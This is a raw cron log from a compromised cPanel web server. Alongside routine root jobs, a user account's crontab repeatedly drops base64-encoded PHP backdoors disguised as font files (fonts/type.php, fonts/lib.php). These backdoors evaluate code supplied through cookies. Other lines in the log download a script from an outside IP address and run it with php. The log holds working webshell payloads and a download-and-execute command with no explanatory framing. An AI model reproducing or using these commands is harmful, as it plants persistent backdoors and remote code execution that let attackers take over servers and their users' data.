Sep  7 12:51:01 ip-184-168-122-23 CROND[31861]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:51:01 ip-184-168-122-23 CROND[31863]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:51:01 ip-184-168-122-23 CROND[31862]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:51:01 ip-184-168-122-23 CROND[31864]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:52:01 ip-184-168-122-23 CROND[31948]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:52:01 ip-184-168-122-23 CROND[31951]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:52:01 ip-184-168-122-23 CROND[31949]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:52:01 ip-184-168-122-23 CROND[31950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:52:01 ip-184-168-122-23 CROND[31952]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:53:01 ip-184-168-122-23 CROND[32062]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:53:01 ip-184-168-122-23 CROND[32064]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:53:01 ip-184-168-122-23 CROND[32066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:53:01 ip-184-168-122-23 CROND[32063]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:54:01 ip-184-168-122-23 CROND[32142]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:54:01 ip-184-168-122-23 CROND[32145]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:54:01 ip-184-168-122-23 CROND[32143]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:54:01 ip-184-168-122-23 CROND[32144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:54:01 ip-184-168-122-23 CROND[32146]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:55:01 ip-184-168-122-23 CROND[32235]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:55:02 ip-184-168-122-23 CROND[32237]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:55:02 ip-184-168-122-23 CROND[32238]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:55:02 ip-184-168-122-23 CROND[32243]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 12:55:02 ip-184-168-122-23 CROND[32241]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 12:55:02 ip-184-168-122-23 CROND[32242]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:56:01 ip-184-168-122-23 CROND[32392]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:56:01 ip-184-168-122-23 CROND[32394]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:56:01 ip-184-168-122-23 CROND[32393]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:56:01 ip-184-168-122-23 CROND[32397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:56:01 ip-184-168-122-23 CROND[32399]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:57:02 ip-184-168-122-23 CROND[32502]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:57:02 ip-184-168-122-23 CROND[32503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:57:02 ip-184-168-122-23 CROND[32505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:57:02 ip-184-168-122-23 CROND[32504]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:58:01 ip-184-168-122-23 CROND[32596]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:58:01 ip-184-168-122-23 CROND[32598]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 12:58:01 ip-184-168-122-23 CROND[32599]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:58:01 ip-184-168-122-23 CROND[32601]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 12:58:01 ip-184-168-122-23 CROND[32600]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:59:01 ip-184-168-122-23 CROND[32758]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 12:59:01 ip-184-168-122-23 CROND[32759]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 12:59:01 ip-184-168-122-23 CROND[32761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 12:59:01 ip-184-168-122-23 CROND[32760]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:00:01 ip-184-168-122-23 CROND[408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 13:00:01 ip-184-168-122-23 CROND[410]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 13:00:01 ip-184-168-122-23 CROND[415]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:00:01 ip-184-168-122-23 CROND[411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:00:01 ip-184-168-122-23 CROND[412]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:00:01 ip-184-168-122-23 CROND[414]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:00:01 ip-184-168-122-23 CROND[413]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 13:00:01 ip-184-168-122-23 CROND[416]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:01:01 ip-184-168-122-23 CROND[520]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:01:01 ip-184-168-122-23 CROND[521]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:01:01 ip-184-168-122-23 CROND[523]: (root) CMD (run-parts /etc/cron.hourly)
Sep  7 13:01:01 ip-184-168-122-23 CROND[525]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:01:01 ip-184-168-122-23 CROND[524]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 13:01:01 ip-184-168-122-23 CROND[526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[523]: starting 0anacron
Sep  7 13:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[542]: finished 0anacron
Sep  7 13:02:01 ip-184-168-122-23 CROND[628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 13:02:01 ip-184-168-122-23 CROND[629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 13:02:01 ip-184-168-122-23 CROND[630]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 13:02:01 ip-184-168-122-23 CROND[632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 13:02:01 ip-184-168-122-23 CROND[633]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 13:03:02 ip-184-168-122-23 CROND[728]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
